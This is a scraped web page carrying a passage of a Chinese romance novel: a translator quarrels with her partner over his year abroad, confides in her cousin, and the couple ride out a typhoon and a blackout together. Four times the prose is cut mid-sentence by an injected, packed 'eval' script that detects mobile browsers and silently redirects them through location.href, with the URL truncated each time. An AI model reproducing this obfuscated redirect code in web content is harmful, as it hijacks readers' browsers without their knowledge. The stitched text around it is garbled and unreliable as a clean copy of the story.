;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200336|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她都打定主意不想搭理他。这个状态从昨晚一直持续到现在,也不知未来还要持续多久。 吃完馄饨,她回到书房,继续日复一日的枯燥工作。翻译已经到了尾声,等将这一部分译完,再将全部的译稿打磨一番,她就可以交上去。这个命运与月亮阴晴圆缺息息相关的家族终于走到了尽头,迎接他们的不过是落日黄昏。规定间隔时间的闹钟响了一遍,她懒得管,摁掉了。等翻得差不多了,她长长呼出一口气,才感觉到自己肚子饿了。 抬头一看时间,已经中午十二点半。 与时间一起映入眼帘的,还有书桌上特意贴着的“腱鞘炎舒缓手操”。 这还是程烨然贴的。 舒缓手操的动作其实很简单,跟着做两遍就会了。程烨然想把它贴在书桌上时,许知蕴表示了强烈的反对,觉得其实没有必要。 程烨然说:“贴在这里,一眼就能看见,这样可以提醒我们在高强度工作后注意做操。” 许知蕴嘟哝着自己会记得的,而且贴在书桌上多不好看啊。 她很喜欢程烨然的这个木制书桌,无论是纹理、造型还是用料,都是一等一的好。放在书房里,自带浓郁的复古气息。 这样一贴,感觉把原有的氛围都破坏了。 但程烨然只是笑了笑:“哪有什么好看不好看的,书桌最大的用途就是用来放东西和写东西的。” 最后那张舒缓手操图纸还是被贴了上去,而且贴在一个很显眼的位置。在豆豆眼小恐龙的头上。 许知蕴颇为哀怨的瞪了那张纸条一眼,随后叹了口气,开始乖乖做手操。 毕竟手是自己的。这关乎到她的职业生涯。 就在她做完手操,打算中午随便吃点苏打饼干对付过去的时候,一条消息就准时地弹了出来。 这是程烨然的消息。 [中午记得休息,午饭也要正常吃,别老是用小零食代餐。] 就好像是算好许知蕴今天中午不会正经吃午饭一样。 许知蕴看完消息,不知道回什么——毕竟现在可是在冷战呢——只好干巴巴地回了一个: [哦。] 程烨然简直就是无处不在。 对面很快就回了一句:[吃过了吗?] 许知蕴的“不认输”心理很快逆反了上来。就算没有程烨然的提醒,她也是可以健康地安排好自己的。于是她故意撒谎道;[吃完了。] 其实她才刚刚点好外卖,并且点的是炸鸡配甜辣酱,与医生要求的“饮食清淡”简直背道而驰。 但程烨然并没有拆穿她的小把戏,而是叮嘱她好好休息。许知蕴的心里萌生出一种微妙的胜利感,但很快就烟消云散了。 说实话,程烨然并没有做错什么,反而是她自己有过分阴阳怪气的嫌疑,不是吗? 她看着程烨然给她分享的办公室趣事,看见他给她分享自己的午餐是番茄肉酱意面。她知道无论是亲人还是朋友向她分享生活,她都应该给予充满情绪价值的回复,但她现在捧着手机,又陷入了“不知道该说什么”的怪圈。 问题依然存在。 一个月后,他依旧要去德国的。 39. 第三十九章 许知蕴很郁闷地约陈美芝出来吃饭。 陈美芝是坐一辆白色轿车来的,许知蕴能看出这绝对不是陈美芝自己的车。她悄悄朝驾驶座方向望过去,勉强能看见一个男人的身影。等陈美芝开了车门,许知蕴听见里边传来的男声时,更加确认了一点。 陈美芝一落座,许知蕴就故意问她:“送你来的是谁呀?总不能是出租车司机吧?” “你都知道了还要问。” 陈美芝没有正面回答,但嘴角始终带着笑意:“我说要和亲爱的表妹吃饭,他就自告奋勇地送我过来了。真不错。” “人谈了恋爱果然不一样啊,你之前可不会叫我‘亲爱的表妹’。”许知蕴把菜单推过去,“你只会叫我小名。生气的时候就喊我的大名,跟我爸妈一个样。” 陈美芝俏皮地朝她眨了眨眼睛:“相信我,你在恋爱中肯定也是一样肉麻的。” “……谁理他。” 许知蕴捧着热腾腾的茶,小声嘟囔了一句。 陈美芝对自己的表妹可谓是再熟悉不过,听见她这话,就猜想她大概是和人家闹别扭了。 “怎么啦?”她调侃道,“谁惹你生气了?” 许知蕴垂下头。 “……没有人惹我生气。我在和自己置气。” 生气自己无法处理这样的情绪。 一想到程烨然出国的事情,胸口上就仿佛沉了一块巨石。她越想尝试豁达,石头却越来越重,直压得她喘不过气来。 陈美芝看着她,随后轻轻叹了口气。许知蕴手上的茶水已经喝干了,她自己却一副没有察觉的样子。陈美芝拿过茶壶,慢慢地给她倒茶。 最近这几天阴云密布,已经进入初秋的天气泛着微凉。许知蕴的手指碰到杯壁,也是冰冰凉凉的,好一会才缓过来。 “小蕴。”陈美芝轻轻说,“其实我知道你一路以来,成绩都非常优秀。” “从小时候的表现来看,你其实比我乖多了。一路上你遇到过很多困难,但你都非常出色地克服了它们。无论是学业上的,还是感情上的。处理梁丰的问题时,你也很干脆利落——包括面对李文俊的时候也是一样。” “但我们并不能干脆利落地解决所有的问题,对吧?”陈美芝道,“有些时候我们也是要接受问题的存在的,接受我们并不是那么地聪明,能够解决所有的事情。有些问题可能不需要刻意解决,或许放一放,这些问题就不是阻碍了呢?” “我——” 许知蕴“我”了半天,最后还是垂头丧气道:“可是我还是觉得心里很堵。” “觉得心里堵,那就别想。” 许知蕴还是决定把事情的来龙去脉说出来。她刚开口说了几句,就被陈美芝笑着打断了。 “我可不想听你们小两口闹别扭呢。”她说,“跟人家谈恋爱的人是你,又不是我。” “可是——”许知蕴小声道,“可我真的不知道怎么办……” 陈美芝摸摸她的头。 “我还是那句话,不知道怎么办,那干脆就不要去想了。就像你丢失了个什么东西,当下急急忙忙去找,很大概率是找不到了。等过几天,嘿,它就自动冒出来了……哎,上菜了,我们吃饭吧。” 她们点了三道菜:辣椒炒肉、抱蛋豆腐和菌菇汤。许知蕴一时恹恹的,还没动筷子。陈美芝碰碰她的手,“亲爱的表妹,赶紧吃饭啦,这顿就算我请你。” “明明是我请你才对……” “别管最后谁请了,不要老伤春悲秋,赶紧吃饭。再不吃我都饿了。” 抱蛋豆腐滑嫩,菌菇汤鲜美,只是辣椒炒肉有点过于辣了,许知蕴被呛得连喝了好几杯水才缓过来。 “怎么感觉这家饭馆的水平下降了?”她夹起一块辣椒,自顾自道,“感觉没有以前好吃了。” 陈美芝故作惊奇道:“我记得你以前和我吃的时候,对这家店是赞不绝口呢。” “是啊,我也郁闷。怎么辣椒炒肉就没有以前好吃了……” “口味变了吧,或者说吃到了更好吃的东西,嘴巴变叼了也说不定。” 她们吃着吃着,手机的屏幕几乎同时亮起来。许知蕴打开一看,是气象局的短信。 [受台风影响,未来三天内将有强降雨,部分地区会有特大暴雨和大风天气……目前台风的等级仍在上升中,请各位市民做好防范……] 许知蕴放下手机,奇怪道:“怪不得我说最近怎么降温了,原来是台风的关系。” “你没看新闻?”陈美芝说,“台风这几天就要来了,说是沿海擦过,但我们依旧会受到很大的影响。” “我们这里已经很久都没有台风了吧?”许知蕴笑笑说,“据说二十年前有一次,不过那是小台风,也没破坏什么。” 陈美芝叮嘱她:“你还是注意一点,做点防护措施。我看网上说,这个台风级别很高,破坏力不是一般的强。” “真的假的……” 许知蕴虽然有些质疑,但也不敢怠慢。回到家后,她在网上看了好几条帖子,然后赶忙去超市采买食品、生活用品、饮用水等物资。虽然也不知道用不用得上,但有总比没有好。她还给父母打了一趟电话,得知他们已经做好储备后,才放下心来。 她回到家后不久,周六还要在外加班的程烨然也回来了,手上还提着个塑料袋。 好奇心占了上风,许知蕴一时忘记了自己在和程烨然冷战,“你买的什么呢?” 程烨然晃了晃袋子。“好几大瓶水,湿巾,还有蜡烛。超市工作人员劝我多买点蜡烛,我就买了两根。” 许知蕴买了很多东西,倒把蜡烛这事给忘了。 程烨然放下东西去洗手。许知蕴想着,不知道他有没有吃晚饭?但转念一想,他都是成年人了,吃饭这事还用她问?一时也就没有开口。 她悄悄注意着对方的行动轨迹:程烨然没有进厨房,也没有翻冰箱。看来是吃过了。想到这里,许知蕴莫名其妙地松了一口气。 她打开电视,没想到一打开就跳出了气象台。主持人正在和几位气象学家一起,分析台风的走势以及可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210105|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能造成的危害。许知蕴看了一会儿,听他们说得那么认真,即使买了足够的物资,还是有些担忧。 程烨然也走过来看电视。 他手里端着个果盘,盘子里是削得整整齐齐的苹果块,上边还插着牙签。他坐在沙发上,习惯性地将盘子递到许知蕴面前:“喏,吃点苹果吧。” 许知蕴看着电视,目不转睛,拿着牙签戳了一块来吃。 这是程烨然前几天买的苹果。买回来的时候皱巴巴的,外皮也不算红,看起来颜值并不高。但这堆丑苹果的味道却意外的不错,甜甜脆脆,汁水充盈,比其他昂贵的苹果品种还要好吃。 许知蕴自己买的苹果,就没有那么脆甜。 她不知不觉吃了一大盘,这时气象台的节目也放完了,下一场就是动物世界。许知蕴不太爱看动物世界,但程烨然爱看。她也就没换台。 倒是程烨然问她:“不换台吗?” 许知蕴向后一倒,瘫在沙发上:“不换了,看看动物世界挺好的。” 她现在对于看电视没什么兴趣,脑子里还在想这几天台风的事情。当然了,还有那件最为紧要的:出国。昨天晚上她看了一个很长的旅游博主的vlog,地点在柏林、汉堡和慕尼黑之间随机切换。而程烨然要在那边待上一年之久。她看着镜头里那些或淡漠或浓烈的景色,心里忽然就空落落的,如同一片羽毛,有片刻的失重。 过了好一会,她才问:“来台风的话,你们还要上班吗?” 程烨然摇摇头,无奈道,“现在也没有通知下来,或许还是正常上。” “这样。” “我这几天要加班,或许会回来得晚一些。”他说,“晚饭我不一定能赶得及回来吃,你先吃吧,我会自己解决的。” “……是之前那个方案吗?” “嗯。设计稿已经出来了,现在主要在做ADHD相关的辅助治疗玩具。”程烨然将自己的工作表和排班表给她看,密密麻麻的两个表格,许知蕴都不忍心细看,“我们先前同几位心理专家讨论过,希望能做出一些真正有用的作品——但愿可以。” 许知蕴沉默了一会。 “你去德国的那个项目,跟什么有关呢?” 程烨然一愣。他没想到她会主动提起这个。“导师那边没有具体说明,我也不知道。” “……这样啊。” 许知蕴继续躺倒在沙发上。程烨然刚想说话,就被许知蕴一伸手给按住了。 “你先别开口。”她说,“你肯定又要安慰我。但我现在不需要你安慰。我只是……我只是没想明白而已。给几天时间我去想,或许就能想通了。真的,你别安慰我。” 她是真的这么想。或许事实就是如同陈美芝说的那样,凡事只要放一放,可能就会有新的解法。 程烨然果然没有开口。他只是捉住了许知蕴的手,包裹在自己的手掌里。他的手温暖而干燥,触碰的时候,总是令人感觉安心。 过了十几秒,他低沉的声音传来。 “嗯,我会等的。” 40. 第四十章 天气阴沉得吓人。 整个天空都变成了灰黑色,如同一堵密不透风的水泥墙。 几乎是一起床,许知蕴就感受到了不同于之前的寒冷。她给自己披了件袍子,吃完早餐,就开始继续工作。手机里朋友发来信息,说是昨晚下班进地铁之前,看到的薰衣草色的晚霞。紫红交织,十分美丽。许知蕴刚想回复,朋友又发过来一条: [你说,晚霞这么好看,会不会是因为台风啊。] 许知蕴一愣。朋友的消息传过来,说天气就算下大暴雨,老板也要让他们上班。许知蕴说,实在不行,你还是请假吧。朋友却说,这个月想拼一拼全勤,请假什么的还是算了吧。 许知蕴颇为忧心地抬眼看了看窗外。 阴沉沉、灰蒙蒙的天,伴随着若有若无,“呜呜”作响的风声。小区附近的店铺已经关门了,外卖也不开放。 只是该上班的还是要上班。 昨晚临睡前,她和程烨然一起关好了门窗,将落地窗前的东西转移,把阳台的衣服全部收走,做好了防护措施。程烨然叮嘱她,一旦发生什么事情,一定要给他打电话。 不过,看这样的天气,似乎除了风大一点之外,目前还没有什么危险。 许知蕴还算乐观地想。 可过了中午,外边的风声越来越大。它时重时轻地拍打着窗户,似乎只要进不来,就永远不会善罢甘休。 空气中弥漫着“呜呜”声,如同一个哭闹不止的婴儿。 光听风声,似乎无法判断它的强度。许知蕴从贴了胶布的落地窗望去,看见那株玉兰树,被吹得七零八落,似乎马上就要被连根拔起。伴随着风声的,还有不少东西被吹裂的声音。 天空越来越黑了。 大片的乌云翻滚着涌来,层层叠叠,像给这个世界罩了一层铁桶。 她打了个电话给程烨然。 电话刚接通,程烨然就立马问她:“怎么了,发生什么事了?” “没有事情。”外面太黑,许知蕴把书房的灯调亮了一个度,“我只是想问你什么时候下班……你听见这个风声了吗,特别大。公司还不给你们提前下班吗……按我来说,今天就根本不应该上班……” 她虽然表现得很镇定,但声音里仍然带了些自己都没有察觉到的慌张。 “别担心,别着急。”程烨然说,“我下午尽量提前下班赶回来,最重要的是你要保护好自己,不要出门。叔叔阿姨那边怎么样?” “他们在家呢,我给他们打过视频,看着他们把措施做好才挂掉的。” “那就好。知蕴,不要过度担心还没发生的事情,相信科学的力量……”他笑道,“我们可往窗上粘了好多胶布,这些小玩意总是能派上用场的,对吧?” 许知蕴抿了抿嘴:“……果然没错。” 声音在手机里显得不是那么清晰。程烨然一时没听清楚:“什么?” 他这一问,许知蕴却笑了。 “我说,你很会安慰人。果然没错。” 说到这里,她的声音渐渐低下去。“打这么久电话,领导会不会说你摸鱼啊……” 她不想那么快地挂掉这个电话。外边风声一阵一阵,时不时夹杂着路边的花盆被吹翻,被风拖拽在地上的声音。面前的电脑亮着,冷白的屏幕。桌上的热咖啡已经失去了温度,或许只有放在耳边的这只手机,能够带给人一些温暖的慰藉。 程烨然温声道:“没关系,这办公室里大部分人也没怎么认真工作。” 他环视了一阵四周。霍夫曼正颇为烦躁地敲键盘,时不时拿出手机摆弄一下。海莉对着窗外的景色不知拍了多少照片,手下打字打得飞快,时不时调开天气预报看一看,然后跟身边人抱怨:“未来全都是暴雨预警,这天气是疯了吧!” 他把视线收回来,继续小声说:“我看领导也有点着急了,或许今晚提前下班有望。” 许知蕴低低地应了一声。 “注意安全。”她深吸一口气,“要是下大暴雨,你就别着急回来了……躲雨要紧。” “哎,知道了。” 许知蕴最终还是挂掉了电话。如果她不主动挂断,她知道程烨然会一直保持着通话状态。 她把手机放在桌面上,关掉电脑,合上词典。客厅里的电视被她打开了,调到了气象台。外边的风声更加大了,她在家里走了一圈,检查有什么遗漏。她又摁开两个充电宝,看见电量是百分之百,总算放下心来。 做完这一切,她抬眼看了一下时间:现在是下午四点钟。 ……但愿什么都不要发生。 * 但这份希望终究是落空了。 四点半,一阵刺眼的紫色闪电划破天空,几乎刺痛了人的眼皮。紧接而来的就是“轰——”的一声,仿佛能够毁天灭地的惊雷。许知蕴被吓了一跳,差点从沙发上蹦起来。 倾盆大雨落下,只需要一瞬间。 她很少见到这样的暴雨。它降下来,就如同从天而降一扇坚不可摧的铁幕,将整个世界都倒扣在了其中。透过雨,她甚至看不清窗外的景色,只能看见一片片树木统一朝一个方向弯下腰去,它们的叶子在狂风骤雨中颤抖着。 原来风真的是有形状的。 许知蕴忽然无端地想,幸好已经过了广玉兰开花的时节。不然,这些花朵几秒钟之内就会归为尘土。 窗户发出更激烈的“哐哐”声,远处的灯光变得模糊。过了一阵,许知蕴仿佛听见了什么巨大的东西砸在地上的沉闷声响。她打开手机,几乎所有人都在讨论,不是给这个发消息,就是给那个发消息。业主群里说,刚刚掉下来的东西,是某位商户挂在二楼的广告牌。风就这样轻而易举地撕裂了金属。 许知蕴也在发消息。 她给在本城的朋友发,给程烨然发,在自己和许父许母的三人小群里发,给陈美芝发。这个时候,人们似乎都在手机里边,同身边的人取得联系。许父许母说,家里很安全,让她不要担心。陈美芝说,这里好着呢,雨势还没有那么大。程烨然说,不要担心,雨会变小的,一旦变小了,他就回去。 许知蕴点点头。末了她忽然意识到,程烨然不在她面前,是看不见她点头的。又连忙回了个消息过去。 客厅有巨大的落地窗,她没有去客厅,而是呆在书房。她看着外边的天,黑得如同打泼的墨水,晕染到了世界上的每一个狭小的缝隙。时不时掠过刺眼的闪电, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223422|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响过雷声,然后雨势又变得更大,仿佛无休无止,仿佛要将地面打穿。 她听到了不远处有人家的窗户碎掉的声音。窗户从高高的阳台上掉下来,摔在地上,一阵脆响。每一声脆响,都是一片细小的玻璃碎屑。 在往常,许知蕴很喜欢雨天的时候窝在家里看书。但现在的情况,她无论如何也看不进去。她一遍遍地刷着社交媒体,看台风的经过路线,把它放大,看看到底会经过哪一片区域。信号闪动着,一下子变成微弱的二格,一下又升回三格或满格。许知蕴在内心暗暗祈祷,wifi信号一定不要断掉。 她注视着外边的雨势,看着它一会大一会小,看着外边的树木,这一阵风后,又有那么几棵倒在地上,永远也不会醒来。她看见有那么几件衣服,颇为滑稽地在空中飘来飘去。窗户、铁板、空调外机……她觉得时间实在过得很慢,她多么希望这阵风雨能够过去。 但现在只不过是晚上六点钟。 许知蕴将厨房里放着的饼干吃完了。她给程烨然发消息,想问他吃饭了没有,但却发现消息发出去的速度变慢了。那个象征缓冲的圆圈一圈圈地转着,转得人心焦。 接收消息的速度也变慢了,从她发出去到程烨然回复,短短两条消息,竟然用了五分钟。程烨然说他吃了公司提供的面包,这个时候雨小了,正和同事们商量怎么回去。许知蕴想告诉他,实在回不了,就不要回了。但她的这条消息却无论如何也发不出去。 wifi信号没有了。 她切换了移动数据,但发现移动数据也是一样地慢。那条消息转了整整三分钟,最后留下来的是一个红色感叹号。 昭示着信号的全面消失。 许知蕴忽然害怕起来。 她握着手机,想着究竟要不要给程烨然打电话。她迫切地想听到他的声音,了解他的情况,但又担心自己这一通贸然的电话会打扰他。他在开车吗?在着急地躲雨吗?究竟还停留在公司,还是在回家的路上? 许知蕴犹豫了许久,终究还是拨通了他的号码。 等待总是漫长的。 几乎是接通的一瞬间,许知蕴就急急忙忙地开口:“程烨然,程烨然?听得到吗?你在哪里?你还——” 但她也听见了程烨然的声音。 那声音断断续续,一阵一阵的电流声,仿佛罩了层绒布,声音也消融在里边。她只听见程烨然不清不楚的说话声,几个字几个字地往外蹦,又被滋滋的电流声打断。她只听清楚“你”“回家”“不要”等词语,随后的,她就再也听不到了。 她料想自己的声音传达到对面时,或许也是这样。但她仍然抱着一丝微弱的希望。或许再多说几句,总能听到一些呢?她一连叫了好几遍程烨然的名字,耳朵边却仍是嗡嗡的。这样的噪音反而更让人感到一种令人不安的寂静。 过了几秒,她听见了自己的名字。 “知蕴——” 她面上一喜,正要说些什么,却发现自己的手机突如其来地震动了一下。 由于信号太差,通话被迫结束。 许知蕴怔怔地放下手机,盯着上边“结束通话”的页面发呆。 ——连通话的信号也没有了。 41. 第四十一章 没有信号,就意味着无法联络外界。 许知蕴现在只好庆幸,起码还有电。要是连电也没有了,那是真的一片漆黑了。 她只好强迫自己不要去想那些最坏的后果。她在书房里坐着,但坐一下就要起来走一会。她很希望有人能和自己说说话,缓解她的焦虑,但没有通话信号也没有网络,她连一个说话的人都没有。 她感到了一阵恐惧似的孤独。那样的孤独攫住她的心,让那颗心被吊起来,久久无法落地。 明明什么事也没做,但却无端感到一阵疲惫。 可就算是疲惫着,也无法入睡。风雨声和雷声轮番在耳边响起,反而使人在疲惫中还带着亢奋。 许知蕴窝在书房的沙发椅上,戳一戳面前呆呆的小恐龙。玩偶好像永远都没有心事,她有一搭没一搭地戳着小恐龙,小声道:“……你的主人什么时候回来呢?” 可惜这个问题并不会有应答。 她漫无目的地发着呆。手机的信号时有时无,可那微弱的一格也改变不了什么。她靠着椅子,脑海里掠过无数思绪,那些思绪就像空中飘着的蒲公英的绒毛。人想得多了,就容易变困。她握着手机,头慢慢地靠在椅背上,头发慢慢滑落下去,闭着眼睛,似乎马上就要沉入梦乡当中。 她想那么多,但却不如什么也不要想。想得越多,越令人害怕。 梦里似乎也会有无止境的风雨声。 但这场梦终究是做不成。 因为在世界完全陷入黑暗的那一刻,她听见了一阵匆匆的脚步声。 那是皮鞋拍打在瓷砖地面上的声音。啪嗒啪嗒,带着潮湿的气息,飞奔着,由远及近。 仿佛在这脚步声所经过的地方,所有的门都被一扇扇打开了,所有的灯光都被一盏盏点亮了。这一阵阵的声音,紧凑得使人感到无端的紧张。 但许知蕴却一下子从椅子上跳起来。 她踩着拖鞋,也不管穿反没有,跌跌撞撞地跑向门口。没有看见人,但她确信这人绝对就是程烨然。一定没有别的可能。 她有些哆嗦着伸出手来拧门把手,门吱呀一下开了。外边的冷气袭上她的面颊。 而就在这时,那双湿淋淋的皮鞋的主人就正正好奔到她的面前,站定住了,一分一秒也不差。许知蕴的视线从那双不断淌水的皮鞋,流连到他湿透的裤子,再到往下滴水的皱巴巴的衬衫、脖颈、最后到他的脸上。 “知蕴,我回来啦。” 他的头发湿得彻彻底底,一绺一绺地搭在光洁的额头上。眼睫毛似乎也挂着水珠,一眨眼就要落下来。只是那双眼睛仍然是亮晶晶的,比夜空中所有的星星都要亮,比所有的探照灯还要亮。 许知蕴一时怔在原地,她看着程烨然,嘴唇动着,想说什么,但发现所有话都哽在嗓子里,什么也说不出来,仿佛一说出来,就如同开闸的洪水,再也没有尽头了一样。 她扑过去,想要拥抱他,但他轻轻地推开了。许知蕴第一次表现出她的强硬,她没有管程烨然的推拒,而是不由分说地抱住他,随后抓住他的手,将他拉进了屋里。 程烨然慢慢地抚摸着她的肩膀。 “我身上湿……” 许知蕴打断道:“没关系。我不介意。” 程烨然看着她,微微地笑了笑。他俯身在她的耳边一点一点说:“不要担心,你看,我回来了……” 什么事也没有,好好地回来了。 许知蕴忽然又从他的怀抱里挣脱出来,如梦初醒般,催促他把鞋子换了,然后赶紧进浴室,“你赶紧洗澡换衣服……一身湿漉漉会感冒的,快点快点……” 她把程烨然推进了浴室,然后去帮他拿换洗的衣服。争分夺秒总是没错的,万一什么时候就没有电了呢。 程烨然很快洗完澡,裹着浴袍出来。许知蕴早就准备好了吹风机,把程烨然拽了过来,一句话没说,就开始帮他吹头发。她动作很快,却很轻柔,手指在他的发间游走。程烨然说:“我自己可以来的。” 许知蕴没理他:“我吹的比你快。” 没用三分钟,许知蕴就吹干了他的头发。放下吹风机的那一刻,她恍惚间感觉自己似乎也放下了全部的力气。心中那一块吊起来飘荡的石头,终于在此刻落了地。 而程烨然凑了过去,轻轻地吻上她的嘴唇。她一转头,发带就滑下去了,但谁也没有管。这不是第一次接吻,也不会是最后一次,但却是最令人安心的一次。他们互相吻着,柔柔的,在这柔和之中,又能感到一阵热烈,慢慢地从他的心脏过渡到她的心脏。 许知蕴只觉得自己急促的心跳逐渐平和下来,面前笼罩的那层冷风散去了,身心都要融化在里面。 一吻结束,程烨然捧住她的脸,将最后的吻印在她的额头。 许知蕴一下笑出来。 “这算是晚安吻吗?”她问道。 “不算。”程烨然说,“这算是接吻的最后仪式。” 他捡起发带,帮她绑头发。许知蕴忽然想起那天他们在艺术馆,也是他帮她编头发。她没好意思告诉他,他编得实在太好看,以至于回家后她都没舍得拆。 “你是开车回来的么?”许知蕴问他,“我听说地铁和公交全都停运了。” “嗯,趁雨小的时候开车出来。不过开得差不多的时候感觉实在开不动了,就停在了附近一个车库。玉兰街的拐角。雨又下了一阵,风小的时候,我就骑共享单车回来了。” 他笑了笑:“我运气是挺好的,刚把单车停好,雨就下大了。不过没关系,只要风不大,我总是能到家的。对了,我先前给你发了消息,不过没有网络,你应该没看到……” 他们翻出各自的手机,核对了一下给彼此发的信息。所有的消息都没发出去,后面都跟着一个红色的感叹号。他们看着看着,忽然就感觉心被这一群群的消息填满了,连带着这屋子,都被某种无形的东西装满了,一点也不空虚。 没有网络,没有信号,电视打开来是黑屏的。他们尝试着给各自的亲友打电话,仍是卡卡壳壳的,索性放下手机,躺在卧室的床上,盯着天花板,什么也不想。 时钟仿佛被人为地拨慢了。 她给他说自己翻译的故事。那故事已经到了尾声,与月亮息息相关的家族的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233777|149342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运,也随着这尾声而渐渐低下去,似乎完了,又似乎没有完。他给她讲办公室里的焦灼,一路上的见闻:地铁停运,地面交通一团糟,周边的店铺全都关了门…… 一场二十年都没有见过的台风,很容易将人为的、非人为的东西都摧毁了。 程烨然说,回来的时候,他看见一块广告牌跌在那里。 许知蕴说,她听见那声巨响了。业主群还在讨论呢。 说话的时候,窗户咯吱咯吱地响。然而有人同自己说话,窗户的响声也显得没那么可怕。 风雨渐渐小了。 窗户的响声也低微了下去。 许知蕴留神听外边的动静,这会惊喜道:“程烨然,感觉这天气很快就会——” 她的话还没说完,忽然传来一阵“滋啦滋啦”的躁动。 屋子里所有的灯,啪地一下全黑了。紧接而来的,是附近人同时发出的惊呼。一层一层,不同的话,相同的惊诧,叠起来就像海浪。 “停电了!” 她翻身起来,看外边别的居民楼。但窗外一片黑漆漆的,什么也看不见。没有居民楼的灯光,没有路灯的灯光,世界仿佛被什么东西罩住了,密不透风的黑色。 余留下来的仅有手机惨白的灯光,虚弱无力地在这一方黑暗的空间里拼出一团光亮。 “停电了……”她喃喃道。 没有了光,一片沉寂。呜呜的风声又变大了,这是一片平淡,平淡中带着没来由的恐怖。 程烨然的声音从不远处传来。他们都打开了手机的电筒,照亮了面前的一方天地。 他说:“我去拿蜡烛和火机来。” 许知蕴听见嘻嘻索索的声音,看见他起身走到书房去拿蜡烛和打火机。在手电筒的灯光下,他映在地板上的影子被拉得很长,甚至有点奇形怪状。他走去了隔壁,许知蕴也跟过去。他们互相说着话,随后程烨然走了回来,手里举着东西。 他们把烛台放好,蜡烛插上。拢着手,打火机对准了芯子。啪嚓一下,火舌轻轻一舔,就燃了起来。 暖黄的烛光一下子照亮了两人的脸庞。这光线很有年代感,人的五官似乎都在这昏黄的光下变得模糊。 许知蕴说:“感觉点蜡烛照明是很久以前的事。” “是啊。很久了。” 烛火微微跃动着。许知蕴和程烨然一起躺在床上,任凭蜡烛慢慢地燃烧着。烛光照出他们的影子,连在一起。也不知道电什么时候来,但总会来的。 许知蕴枕着程烨然的手臂。她感到自己的心是安静的。尽管外边有风的呼啸声,雨水落地、树叶哗啦啦的声响,可她就是觉得内心里有一种奇怪的充盈。现在什么电子设备都用不了,喧嚣的世界归为沉寂,然而在这样的沉寂之中,才能真正明白自己的心里在想什么。 她忽然感到一片通明。 “我——”她顿了顿,发现自己竟然如释重负了。 “你去德国这件事,我不反对,而且自始至终不会反对的。” 她微微一笑:“你去吧,只是……” 只是我是不会单单站在原地等着你的。 42. 第四十二章 她遵从内心,将那句话说了出来。 “程烨然,我不会站在原地等你的。” 我也有我自己的路要走。 程烨然听完,先是一愣。他的神色很复杂,借着蜡烛的光辉,他索性伸出手,把她揽在怀里。 “我知道的。”他重复着,“我知道的……所以,我会追着你的。” 距离从来不是爱情的终止。 她走得越快,那他就追得越快。 他说:“到时候你可别嫌弃后边有个跟屁虫啊。” 他们对视着,忽然一起笑起来。这样的笑,既是互相的依靠,也带了双方全部的释然。许知蕴想,先前的纠结,究竟算什么呢,好像绳子上的结自己给自己解开了。 他们虽然即将要分开一年,或许期间的见面也不过是匆匆几日,但他们各自的步伐都不会停留在原地。谁走到前面,另一个人就奋力追上去。这是一场乐此不疲的追逐游戏,谁要真正地停下了脚步,那这场游戏才算是真正的完蛋呢。 她把玩着程烨然的手指。 “其实,如果你要是因为我而选择不去进修,我……” 她半认真半调侃道:“我会看不起你的。” 自己的事业,就要自己去努力去争取。得到了一些东西,就势必要失去另一些。 “那么,我就更应该做出成绩来。对不对,小许同志?” “当然了。我还期待你升职的那一天呢。” 程烨然低低地笑起来。他们在床上盖着被子,滚在一团。蜡烛燃烧的味道,弥漫在空气里。那是些微烧焦的味道,但并不难闻。 或许过了十几年,甚至几十年,许知蕴的心仍然记得这种味道。她会记得这个风雨交织的夜晚,一切的情感和记忆都凝聚在那朵橙红色的烛火上。 “你说……”她在床上翻了个身,慢慢地问,“什么样的爱情有意思呢?” “为什么突然问这个?” “台风天嘛,无聊得很,想问就问了。” 许知蕴把一只手覆在眼睛上:“是相爱相杀那种,还是相濡以沫?或者说,疯狂的爱……” 